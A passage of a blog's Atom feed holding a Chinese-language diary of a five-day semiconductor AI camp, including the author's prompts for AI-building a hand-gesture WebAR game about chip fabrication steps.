<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>R3X DJ</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://r3xdj.pages.dev/</id>
  <link href="https://r3xdj.pages.dev/" rel="alternate"/>
  <link href="https://r3xdj.pages.dev/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, R3X DJ</rights>
  <subtitle>CTF / Math / CS Notes</subtitle>
  <title>R3X's Blog</title>
  <updated>2026-08-02T13:57:40.000Z</updated>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Journey" scheme="https://r3xdj.pages.dev/categories/Journey/"/>
    <category term="camp" scheme="https://r3xdj.pages.dev/tags/camp/"/>
    <category term="AI" scheme="https://r3xdj.pages.dev/tags/AI/"/>
    <category term="semiconductor" scheme="https://r3xdj.pages.dev/tags/semiconductor/"/>
    <category term="AR" scheme="https://r3xdj.pages.dev/tags/AR/"/>
    <category term="Lam research" scheme="https://r3xdj.pages.dev/tags/Lam-research/"/>
    <category term="NTHU" scheme="https://r3xdj.pages.dev/tags/NTHU/"/>
    <content>
      <![CDATA[<h1 id="%E5%89%8D%E8%A8%80" tabindex="-1">前言</h1><p>報個好營隊</p><p><a href="https://bhuntr.com/tw/competitions/lamresearchsummercamp2026">科林研發 x 清華大學 - 2026 半導體AI科學營</a></p><p><img src="19d0fc46-a94a-4056-a6e2-a6d8a7d74bd3.jpg" alt="課程表"></p><h1 id="%E6%B4%BB%E5%8B%95%E7%B4%80%E9%8C%84" tabindex="-1">活動紀錄</h1><h2 id="day1" tabindex="-1" id="Day1">Day1</h2><p>一早9點報到，我是最後一個到的😛一開始就是在介紹科林研發、講一些砥礪的話。從<strong>科學競賽與寫作</strong>開始是正課。但因為我比過科展，而且也高中畢業了，這堂課講的如何撰寫報告和格式要求對我來說都算複習；而能比的比賽我已畢業也不能比了XD。這堂課最大的收穫應該是他講了一個網路上的百年爭論的答案：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mi mathvariant="normal">d</mi><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">x</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">\frac{\rm{d}}{\rm{d}x}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2251em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathrm mtight">d</span></span><span class="mord mathrm mtight">x</span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathrm mtight">d</span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi></mrow><annotation encoding="application/x-tex">d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span> 到底需不需要斜體，答案是要用正體，因為他是一個「算符」！這位老師也用 vibe coding 做了一些物理模擬或可以搭配教學的網站。上課帶我們玩了「馬呂斯定律」的那個，拿了個偏光片，然後用手機測照度。但因為手機是用前鏡頭感應的，要測筆電螢幕的照度，又要看手機螢幕顯示的數值，所以我一下跑到桌子左邊一下跑到右邊，用各種奇怪的姿勢一面壓住偏光片跟手機一面看手機上的數字。</p><p>接下來就是午餐時間了！午餐吃得還不錯，還有手搖飲喝。雖然大家都不熟但我已經開始講幹話了，說來這個營隊走路要很小心，這裡有很多<em>半導體</em>。</p><p>下午自我介紹，聽到有一堆機器人社的，甚至是<em>教學</em>長，我們隊也有，他自我介紹提到這點時我就比旁邊的隊輔說那妳可以<em>教</em>學長。其他各樣的人，甚至有從越南來的。有個隊輔叫他講一句來聽聽結果他只會越南語的髒話，然後那個隊輔叫他小聲跟他說那句是甚麼意思。旁邊人問所以是甚麼意思，那個隊輔說：「汝母可好」。除此之外，還有個印度混血的。學校部分有好幾個都是來自建中跟林口康橋的。年級部分只有我和另外一個人是升大一的。</p><p>半導體入門的課程大家最印象深刻的就是吃軟飯跟打群架。一個是說如果這五天上下來發現很沒有興趣那可以去做軟體的aka吃軟飯；另一個是現在 AI 時代一個人打不贏 AI 所以要團隊合作去打群架。這堂課後面教半導體的基礎知識、製程，相當於把我兩年前學的又複習一次(畢竟之前學的也忘的差不多了XDD)。</p><p>晚餐過後迎來了第一次的小組討論，地點都在熟悉的台達館：清大參訪好像去過，資優中學生智慧科技夏令營(以下簡稱台沙)到過，全國科展休息區也在那，<s>下周 AIS3 Junior 也在那裡報到</s>，回憶滿滿的地方。<br>由於我是個 liminal space 愛好者，在晚餐時間我很開心地找到了個很 liminal 的地方拍了下來：</p><p><img src="2026-08-02-14-44-57.png" alt="liminal space"></p><p>討論時間是為了讓我們討論分組專題報告用的，或是問課程的問題。在發想專題要做什麼時，問了問上一屆都做了些什麼，得到做課程心得跟自走車分數是最低的。上一屆我們對輔帶的團隊是設計了一款桌遊──晶圓之路，深受科林研發高管所喜愛，而且科林研發事後還派工程師跟他們討論了半年把遊戲作完整！不過他們沒拿到第一名，第一名被另一組開發出了什麼系統的拿走了，而且他們還英文報告。</p><p>我們接著開始各種想法滿天飛，從捲理論到做遊戲，但另一組有兩個人可是抱著一本半導體的大學教材在嗑，捲理論應該捲不贏；遊戲部分則是我想說既然上一屆做桌遊，還是我們來做電動？當然還有唬爛一些其他奇葩的想法，比如我就說可以演戲，或造一個機器人<s>然後被抓包是真人扮演的</s>。<br>由於一切都處在十分渾沌的狀態，我們決定先來玩撲克牌，他們教我玩德州撲克，不過他們說聰明的人好像都玩橋牌比較多？~~這麼說我們班一堆聰明人w。~~玩著玩著就冒出遊戲的點子了：晶片戰爭。<br>玩家扮演美國、中國、台灣等國家然後要幹架，那時還想到各種包括美國可以有特殊技能是「川普發公告」之類的。<br>然後我們就繼續玩德州撲克，亂玩一通最後伏地挺身。</p><p>晚上回房間後我們隊的大家都聚集到我們的R209房一邊吃雞排一邊聊天做事，雞排的來源是這個活動很讚的地方就是每天都有免費消夜！我們用某位組員的 Claude Code (有錢人啊) 現場 vibe 了晶片戰爭的遊戲出來：</p><p><img src="2026-08-02-15-06-08.png" alt="晶片戰爭"></p><p>然後玩了玩這個遊戲。</p><h2 id="day2" tabindex="-1" id="Day2">Day2</h2><p>今天是我早餐吃的最優閒的一天，因為後來都在熬夜晚起 speedrun 吃早餐。<br>今日一早繼續講半導體的東西，上課教室跟之前去台沙時是同一間。理論課程結束之後接著是<s>美術課</s>，有超難割的圖形要割然後黏(他是貼紙式的)在小塊的矽晶圓上，來做低配版掀離製程，割到懷疑人生。剛開始貼分隔用的膠帶還貼歪再撕下來，那這樣做出來就會有膠原本就殘留在上面，導致它有淡淡的白色：膠原蛋白。笑死結果戳到教授笑點。</p><p>中午又拍了一張 liminal space 給朋友</p><p><img src="2026-08-02-16-08-36.png" alt="liminal space"></p><p>好像是今天中午，有人在討論某年 SAT 的最後一題，幾百年沒算數學了我居然想那麼久才想出來，<s>亞洲之恥</s>。</p><p>下午就進入無塵室啦！介紹裡面的各種設備等等。無塵衣穿上都分不出誰是誰了，我很調皮的隔著黃光室的窗戶跟另外一個人猜拳，一開始還一直平手XD那個畫面感覺十分難忘，在不平凡的地方的平凡的快樂。</p><p>又到了晚間討論時間！</p><p>第四組也要做遊戲，而且對於撞題似乎有點不高興，我們是沒差但同時也感覺那個晶片戰爭好像有點普通，而且大家都想的到。第一天其實隊輔還有一個想法是 AI 做遊戲大家都會做，或許可以來做「能讓 AI 做出遊戲的 Prompt」。<br>我今天又唬爛了一個怪點子是學潘冠錡掰一首半導體的歌來唱(老實說我也忘記哪些是第一天唬的哪些是第二天w)<br>最後的關鍵討論是有人想到 AR，和今天在無塵室玩的裂片，覺得可以弄一個 AR 之類的東西，但 AR 需要特殊設備或 App，不太可行。我靈機一動想到前陣子很紅的 67 網站，就是偵測你的手看能 67 幾下，我想或許就結合這個影像辨識模組讓玩家用電腦操作類似 AR 的東西。同時我們也開始分工：誰研究理論、誰做介面、誰搞遊戲動作設計，並且把主要製程步驟列出來。我們也打算讓玩家可以用食指&amp;中指做出捏筆動作，然後畫面就會有一隻筆，可以讓他自己設計想要的圖案印在晶圓上(實際上這靈感就來源於今早剪膠帶)。在大家忙碌之際我又冒出一個靈感是讓玩家玩完可以下載一個 STL 的 3D 檔案，並叫 ChatGPT 幫我生看看 (單純確認網頁能不能做到這件事情)，結果是可以！</p><p><img src="2026-08-02-15-24-35.png" alt="黑板"></p><blockquote><center>互動型沉浸式半導體製程體驗</center>理念：我們在課程第二天參觀了無塵室，但多數人卻很難有這樣的學習機會。因此我們想起了67網站，認為可以將影像辨識結合我們所學的半導體製程步驟，製作成互動式網站，讓玩家不必親臨無塵室，即可體驗半導體製程的過程。希望能藉此推廣半導體知識，造福廣大學子。</blockquote><p>然後笑死一直在 vibe，我們是 AI 狗</p><p><img src="2026-08-02-15-24-48.png" alt="第一版介面"></p><p>今天晚上我、陳宥宇跑到印度老哥和陳裕仁他們房間去玩，印度老哥還畫出了詐騙集團運人到緬甸(是嗎？我有可能記錯國家w)的路線圖。不知道聊到什麼聊到業績，我就說那我們昨天吃的宵夜算不算一種夜雞:)</p><p>今天大概 work 到了凌晨一點多<br>我也跑去問了 ChatGPT 那個手部偵測怎麼搞，我先叫他做出一個簡單的倒水網站，發現沒問題後我本來想學著手刻，但最後還是墮落了哈哈XD一部分也是因為有時間壓力。<br>然後我搞了一個很長的 Prompt 叫邱子懿幫我跑</p><details><summary>Prompt</summary><pre class="line-numbers language-markdown" data-language="markdown"><code class="language-markdown">採用模組化設計，架構類似：semiconductor-camp/├── index.html├── js/│   ├── gesture.js│   ├── camera.js│   ├── painter.js│   ├── waferBreak.js│   ├── buttons.js│   ├── gripper.js│   └── app.js├── css/├── assets/│   ├── wafer.png│   ├── chuck.png│   └── sounds/<span class="token list punctuation">1.</span> 現在，只製作介面，但藉由適當設計讓我能模組化分別設計每個關卡(步驟)，並能簡單的加入遊戲中，並告訴我如何加入。參照我給你的樣本檔案，並依照我告訴你的規則進行修改。完全忽略原檔案裡面的遊戲關卡實作。也忽略裡面所有影像辨識邏輯，以避免目前階段不必要的思考<span class="token list punctuation">2.</span> 讓比例能符合一般筆電全螢幕畫面長寬比<span class="token list punctuation">3.</span> 字體大小要讓操作者能看清楚，目前太小<span class="token list punctuation">4.</span> 製程不能跳步驟<span class="token list punctuation">5.</span> 我對關卡的想法是，燒杯，wafer夾之類的能偵測並attach在手上，而鏡頭畫面的下 1/4 是桌子，東西能擺在桌子上，讓玩家能有實體感先告訴我大致怎麼串在一起即可，具體實作細節我將自行製作<span class="token list punctuation">6.</span> 我希望在遊戲結束能有成功/失敗畫面，若成功，顯示恭喜並提供兩個按鈕分別能下載3D Object檔案和PNG圖片檔案，詳細如下：6-0. 上面刻有玩家畫的 pattern (正片 or 負片，依照玩家所選擇的正/負光阻所定)6-1. 圖片是由第一關由玩家藉由鏡頭感應，用手繪製當然此部分也是使用模組化設計，先告訴我大致怎麼串在一起即可，具體實作細節我將自行製作若有多個檔案，請分別給我。記得，只製作介面即可，但要能易於擴展、串接盡量在各方面皆詳細、專業、嚴謹<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></details><p>比較有趣的是有人要給隊友看他們做的東西，結果直接丟了個 127.0.0.1 或 localhost 的連結</p><h2 id="day3" tabindex="-1" id="Day3">Day3</h2><p>智能車局，又是個寫過但都忘光的東西：Arduino<br>有人遲到，教授：「同學，現在幾點了」就一個被罵www</p><p>中午吃完飯陪朋友回清華會館拿充電線，結果跟了好多人XD，我們就沿路講幹話，我繼續掰一堆冷笑話降溫。</p><p>天天都要有 liminal space，以下照片：</p><p><img src="2026-08-02-18-56-37.png" alt="broken elevator"></p><p><img src="2026-08-02-19-02-47.png" alt="liminal"></p><p><img src="2026-08-02-19-07-02.png" alt="liminal"></p><p>最下面這張修圖 by ChatGPT</p><details><summary>原圖</summary><p><img src="2026-08-02-19-07-51.png" alt="原圖"></p></details><p>我用空閒時間把我的想法還有前面那個原始 prompt 拿去跟 Gemini 和 ChatGPT 討論，叫他們幫我優化提示詞，並且叫 ChatGPT 生成個示意圖以防他誤解我的意思，沒想到這示意圖生的太好了XD，都想直接把他丟給 Claude Code 叫他照著做 (最後有沒有丟我不太確定)</p><details><summary>prompt</summary><pre class="line-numbers language-markdown" data-language="markdown"><code class="language-markdown">你是一位精通 WebAR、MediaPipe Hands 與 HTML5 Canvas 互動遊戲開發的資深前端架構師。請參考我提供的附圖（半導體製程互動遊戲 UI 設計圖），將我原本散亂的專案重構為一個高度具備「實境體驗感（WebAR）」且極致模組化的 Vite + TypeScript 專案。<span class="token title important"><span class="token punctuation">###</span> ⚠️ 本次開發核心目標與範疇限制</span><span class="token list punctuation">1.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">畫面必須 1:1 還原附圖 UI 佈局</span><span class="token punctuation">**</span></span>（16:9 筆電全螢幕適應、科技感深色 Dashboard）。<span class="token list punctuation">2.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">範疇控制</span><span class="token punctuation">**</span></span>：<span class="token bold"><span class="token punctuation">**</span><span class="token content">「只完整實作 UI 框架」與「第一關：繪製光罩圖形」</span><span class="token punctuation">**</span></span>。第 2~6 關僅需提供空類別（Stub），不要預先寫死邏輯。<span class="token list punctuation">3.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">徹底解決點擊無效問題</span><span class="token punctuation">**</span></span>：嚴格區分 Canvas 點擊透傳與 HTML UI 層級。<span class="token list punctuation">4.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">鏡像體驗（照鏡子感）</span><span class="token punctuation">**</span></span>：提供前鏡頭預設鏡像翻轉，且手勢座標需與視覺完全同步。<span class="token list punctuation">5.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">詳細擴充教學</span><span class="token punctuation">**</span></span>：在輸出最後，詳細說明如何利用第一關「Pinch 吸附物件」的邏輯來擴充第二關（如：夾子/燒杯 Attach 到手部）。<span class="token hr punctuation">---</span><span class="token title important"><span class="token punctuation">###</span> 一、 專案目錄結構規範 (TypeScript + Vite)</span>請提供完整的專案原始碼檔案，目錄結構如下：semiconductor-camp/├── index.html├── package.json├── tsconfig.json├── src/│   ├── main.ts                   # 程式入口、UI 事件綁定與主循環│   ├── core/│   │   ├── CameraManager.ts      # WebCam 鏡頭控制、鏡像切換、MediaPipe Hands 整合│   │   ├── StageManager.ts       # 關卡切換狀態機 (State Machine)│   │   └── GestureDetector.ts   # Pinch 手勢判斷 (Landmark 4&amp;8 歐氏距離) 與鏡像座標轉換│   ├── stages/│   │   ├── BaseStage.ts          # 關卡抽象類別 (Abstract Class)│   │   ├── Stage1DrawPattern.ts  # 第一關：Pinch 手勢 Attach 畫筆與晶圓繪圖實作│   │   └── StagePlaceholder.ts   # 2~6 關的空樣板│   ├── ui/│   │   ├── UIManager.ts          # 步驟選單、按鈕狀態、遊玩提示與結算 Modal│   │   └── VirtualDesk.ts        # 中央畫面下方 1/4 虛擬桌面 (Wafer/Chuck 繪圖區域)│   └── utils/│       └── Exporter.ts           # PNG 下載與簡易 3D STL 檔生成邏輯└── public/    └── assets/<span class="token hr punctuation">---</span><span class="token title important"><span class="token punctuation">###</span> 二、 UI 版面配置與 CSS 圖層規範 (嚴格依據設計圖)</span><span class="token list punctuation">1.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">版面架構 (16:9 筆電全螢幕 Dashboard)</span><span class="token punctuation">**</span></span>：   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">頂部 Header</span><span class="token punctuation">**</span></span>：遊戲標題「半導體製程互動遊戲」、當前關卡（關卡 1/6）、進度條 (16%)、設定/說明/退出按鈕。   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">左側 Sidebar</span><span class="token punctuation">**</span></span>：製程步驟 1<span class="token strike"><span class="token punctuation">~</span><span class="token content">6 列表（步驟 1 激活高亮，2</span><span class="token punctuation">~</span></span>6 顯示鎖定 🔒），下方顯示遊玩提示文字框。   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">右側 Panel</span><span class="token punctuation">**</span></span>：操作說明區（含手勢步驟圖解）、行動按鈕區（「完成繪製」、「下一步 🔒」）。   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">中央 Main View</span><span class="token punctuation">**</span></span>：     <span class="token list punctuation">-</span> 頂部鏡頭設定列（[攝影機：前鏡頭]、[鏡像：開啟/關閉]）。     <span class="token list punctuation">-</span> 右上角「手勢參考」小視窗。     <span class="token list punctuation">-</span> 畫面中間標示「畫筆已附著在你的手上」的 AR 提示。     <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">下方 1/4 固定虛擬桌面 (Virtual Desk)</span><span class="token punctuation">**</span></span>：擺放晶圓 (Wafer) 與 Chuck，左下角顯示「已繪製圖形」小預覽框，右下角顯示「畫筆顏色/清除全部」。   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">底部/彈窗</span><span class="token punctuation">**</span></span>：關卡流程圖列、遊戲結束 (成功/失敗) Modal。<span class="token list punctuation">2.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">CSS Z-Index 與 Pointer Events 規範 (解決按鈕點擊覆蓋 Bug)</span><span class="token punctuation">**</span></span>：   <span class="token list punctuation">-</span> <span class="token code-snippet code keyword">`#video-element`</span> (z-index: 1): 底層 WebCam 視訊。   <span class="token list punctuation">-</span> <span class="token code-snippet code keyword">`#ar-canvas`</span> (z-index: 2): 繪製手勢骨架、吸附在手上的畫筆 UI。<span class="token bold"><span class="token punctuation">**</span><span class="token content">必須設定 <span class="token code-snippet code keyword">`pointer-events: none;`</span></span><span class="token punctuation">**</span></span>！   <span class="token list punctuation">-</span> <span class="token code-snippet code keyword">`#desk-canvas`</span> (z-index: 3): 下方 1/4 虛擬桌面的晶圓與 Pattern 繪製區。<span class="token bold"><span class="token punctuation">**</span><span class="token content">設定 <span class="token code-snippet code keyword">`pointer-events: none;`</span></span><span class="token punctuation">**</span></span>。   <span class="token list punctuation">-</span> <span class="token code-snippet code keyword">`#ui-layer`</span> (z-index: 10): 所有 HTML 按鈕、側邊欄、對話框與 Modal。<span class="token bold"><span class="token punctuation">**</span><span class="token content">設定 <span class="token code-snippet code keyword">`pointer-events: auto;`</span></span><span class="token punctuation">**</span></span>，確保按鈕 100% 可被點擊。<span class="token hr punctuation">---</span><span class="token title important"><span class="token punctuation">###</span> 三、 第一關 WebAR 互動邏輯 (`Stage1DrawPattern.ts`)</span><span class="token list punctuation">1.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">MediaPipe Hands 與真鏡像修正 (照鏡子體驗)</span><span class="token punctuation">**</span></span>：   <span class="token list punctuation">-</span> 使用 <span class="token code-snippet code keyword">`@mediapipe/hands`</span> 與 <span class="token code-snippet code keyword">`@mediapipe/camera_utils`</span> (採 npm import 方式)。   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">鏡像開關邏輯</span><span class="token punctuation">**</span></span>：當預設「鏡像：開啟」時：     <span class="token list punctuation">-</span> Video 與 AR Canvas 使用 CSS <span class="token code-snippet code keyword">`transform: scaleX(-1)`</span> 進行視覺翻轉。     <span class="token list punctuation">-</span> <span class="token code-snippet code keyword">`GestureDetector`</span> 在計算座標時，將 MediaPipe 的 $X$ 座標做翻轉映射：$X_&#123;canvas&#125; = (1 - X_&#123;landmark&#125;) \times CanvasWidth$。確保玩家「手往右移，畫面上的畫筆就往右移」。<span class="token list punctuation">2.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">Pinch 手勢與 Attach 畫筆</span><span class="token punctuation">**</span></span>：   <span class="token list punctuation">-</span> 計算食指尖 (Landmark 8) 與大拇指尖 (Landmark 4) 距離。   <span class="token list punctuation">-</span> 距離 $&lt; 0.05$ 時判定為 <span class="token code-snippet code keyword">`Pinch`</span>，畫筆圖案自動 <span class="token bold"><span class="token punctuation">**</span><span class="token content">Attach (吸附)</span><span class="token punctuation">**</span></span> 到 Pinch 的中心座標點。   <span class="token list punctuation">-</span> 放開手指則取消 Attach。<span class="token list punctuation">3.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">晶圓繪圖機制</span><span class="token punctuation">**</span></span>：   <span class="token list punctuation">-</span> 當處於 <span class="token code-snippet code keyword">`Pinch`</span> 狀態且位置落在「下方 1/4 晶圓區域」時，在 Wafer Canvas 上劃出線條，並同步更新左下角「已繪製圖形」預覽框。   <span class="token list punctuation">-</span> 點擊右側「完成繪製」按鈕，觸發下一階段解鎖。<span class="token list punctuation">4.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">正/負光阻機制</span><span class="token punctuation">**</span></span>：第一關<span class="token bold"><span class="token punctuation">**</span><span class="token content">不設置</span><span class="token punctuation">**</span></span>正負光阻切換，光阻切換留給後續關卡。<span class="token hr punctuation">---</span><span class="token title important"><span class="token punctuation">###</span> 四、 結算 Modal 與 擴充開發指南</span><span class="token list punctuation">1.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">遊戲成功 Modal (<span class="token code-snippet code keyword">`Exporter.ts`</span>)</span><span class="token punctuation">**</span></span>：   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">下載 PNG</span><span class="token punctuation">**</span></span>：將晶圓上畫出的 Pattern Canvas 輸出為 PNG 圖片。   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">下載 3D 物件 (.stl)</span><span class="token punctuation">**</span></span>：將 2D 畫布 Pattern 簡易擠出 (Extrude) 為圓形 3D 晶圓 STL 檔案並下載。<span class="token list punctuation">2.</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">擴充開發指南 (Developer Guide)</span><span class="token punctuation">**</span></span>：   在 Code 輸出完成後，請詳細說明：   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">如何創建 <span class="token code-snippet code keyword">`Stage2Coating.ts`</span> 繼承 <span class="token code-snippet code keyword">`BaseStage`</span> 並註冊到 <span class="token code-snippet code keyword">`StageManager`</span>？</span><span class="token punctuation">**</span></span>   <span class="token list punctuation">-</span> <span class="token bold"><span class="token punctuation">**</span><span class="token content">如何將第一關「Pinch 吸附畫筆」的邏輯，直接複製套用到第二關「Pinch 抓取燒杯 / Wafer 夾」並進行傾斜倒液體？</span><span class="token punctuation">**</span></span>請提供完整、可直接以 <span class="token code-snippet code keyword">`npm run dev`</span> 啟動運行的 Vite + TypeScript 專案原始碼檔案！<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></details><p>ChatGPT 生成的圖片如下：</p><p><img src="2026-08-02-18-03-48.png" alt="SemiconductorAR 概念圖"><br><img src="2026-08-02-18-03-59.png" alt="SemiconductorAR 概念圖"></p><p>下午教了除了基本的前後跑左右轉之外，紅外線、超音波感測器跟藍芽控制。超音波本來是說偵測到前方有物體就要停下，結果有人說還是寫個偵測到前方有物體就加速向前衝，我說要高速自轉轉過去w這就是 Attack Mode 的由來XD。</p><p>程式寫一寫我卻發現切換時很奇怪的有延遲，請老師來 debug 發現是超音波媺每輪<s>美奐</s>都會多回傳一行距離 0，不知道為什麼，但手動加個 <code>delay(10)</code> 就解決了，玄學原因。造就了很神奇的反而 <code>delay()</code> 跑更快XD。所以事後我在跟別人講幹話時就說會不會這個 <code>delay()</code> 其實不是 delay 程式碼，是 delay 我們所有人的時間！因為我們的時間被 delay 之下，相對而言就是程式速度變快了！一個相對論的概念，所以你看人類文明何等昌盛，要不是有愛因斯坦的相對論，人類怎麼能設計出這樣的 delay function 呢？而且你看 delay 跟 Dirac 念起來很相近，所以其實 Dirac 也有參一咖啊……。之後有人遇到類似問題我都跟他說你不要問我，我不知道，你去問愛因斯坦。</p><blockquote><p>看來我沒什麼技術但講幹話還是挺行</p></blockquote><p>今天晚間小組討論時間終於開始討論隊呼了，我們原本想法是可以把隊輔名字藏頭藏進去，後來變成決定把「科林研發」藏頭，然後開始搞押韻(隔行押韻)</p><p><img src="2026-08-02-18-15-46.png" alt="隊呼"></p><p>那個第二句是我們一直想不出有什麼句子能 start with 林，結果我突然噴了一個「林口」，就有人把整句話生出來了，也是挺好笑的。另一個有故事的是「雕矽晶」，那時為了押韻想出了「矽晶」二字當結尾，但一直找不到適合的動詞，也是有人突然就想到了。</p><p>遊戲部分我們照著陳裕仁辛苦整理出的流程和理論把關卡完成，流程圖：</p><p><img src="2026-08-02-21-53-28.png" alt="流程設計"></p><p>晚上在清華會館就是：玩 GeoGuessr (那時還有印度老哥也來，我們共六個人)、玩撲克牌，輸的去顧機台(AI 要跑 command 時按 YES)，喔對了，我還把之前 Claude Code 生成 Win95 介面的那版裡面他做的「證書」的概念抓過來，在這一版也加入個在最後生成一張證書，同時不經倒數直接拍一張照<s>來拍出玩家的醜照</s>放在上面。<br>btw我無聊還會開晶片戰爭來玩w前幾天跟之後幾天都是，而且其實他還能多人遊戲XD (我們好像是第一天還第二天晚上多人玩的？)</p><p>玩遊戲的畫面我就私藏了XD不方便放在這裡，這是我們玩完的證書<br><img src="2026-08-02-18-39-16.png" alt="SemiconductorAR 半導體製程結業證書"></p><p>我 RCEs 的戰友表示：</p><p><img src="2026-08-02-16-13-57.png" alt="DJ 熬夜www好難得"></p><p>今天可是熬到 4:00 睡啊！<s>不過至少沒像北區高中職程式安全黑客松一樣熬穿</s></p><h2 id="day4" tabindex="-1" id="Day4">Day4</h2><p>今天早上有個好玩的團體活動，看題目要猜是什麼詞，比如倒數第二題：「ㄎㄌㄧㄈ」，答案是「科林研發」。有趣的題目還有「ㄋㄘㄓㄒ」：奈材中心、「ㄚㄍ」：Argon (這什麼啊XD)、「ㄒㄐㄐ」：C++。<br>接著是輪站式的「半導體應用主題探索」，有五個小專題輪流聽。有說生物晶片的，有說第三代電晶體的，有說封裝的……。</p><p>下午又是參觀&amp;實作環節，進無塵室之外還去看了地下室的水淨化系統。</p><p>在無塵室撕膠帶時，我說：「我們自己貼的膠袋自己撕，那我們是不是都是『自私的人』？」我們一邊撕膠帶一邊跟裡面的老師聊天，他們還說之前很好笑有人在無塵室裡伏地挺身，然後後來我們在旁邊等待休息時就說來猜拳輸的伏地挺身，結果兩次都是同一個人輸XD</p><p>今天遊戲部分就是修一些小細節、糾正理論問題、還有介面的相容性(不然本來只有跑在邱子懿的筆電上才不會跑版)，接著就是做簡報(包括團隊和個人的，個人簡報12點前要交，所以我們基本上午夜後才開始討論小隊的東西)，還有想隊呼動作。</p><p>我是放飛自我在個人簡報繼續塞爛梗，從第五天的經驗看來評審可能不覺得好笑但至少有隊輔跟隊員覺得好笑w那就夠了，畢竟個人獎捲死了我上台當小丑娛樂大家。</p><p><img src="2026-08-02-19-54-12.png" alt="我曬乾了沉默"></p><p>今天晚上借了隊輔的那套「晶圓之路」來玩，結果發現遊戲有點小 bug，因為只要有人做到後面的製程大家為了防止他贏就會合力打他，導致沒有人能順利完成四個製程。有人說「我知道為什麼這個去年沒有贏了，因為這個遊戲根本不會贏」💀</p><p>又是在 RCEs 浮出水面</p><p><img src="2026-08-02-16-15-15.png" alt="RCEs"></p><p>我 YTP 的戰友表示：</p><p><img src="2026-08-02-18-49-53.png" alt="我竟然不是唯一會熬穿的"></p><p>遊戲成品，想玩嗎？</p><center><a class="btn-beautify blue large" href="/games/SemiconductorAR/" title="遊戲成品"><i class="fa-solid fa-gamepad"></i><span>遊戲成品</span></a></center><h2 id="day5" tabindex="-1" id="Day5">Day5</h2><p>今天一早是個人報告和團體報告，我們直接開外掛用邱子懿的筆電接 HDMI 投影上去，很順利的幾乎沒有技術問題報告完。後面的組別多少都遇到一些技術問題(卡住或超連結壞掉之類的)。第二組是做一個自走車教學網站，但他們沒 demo 教學的那 part，就只有個介面。而第三組很有創意，借用 waffle 跟 wafer 的諧音用 waffler 來類比 wafer 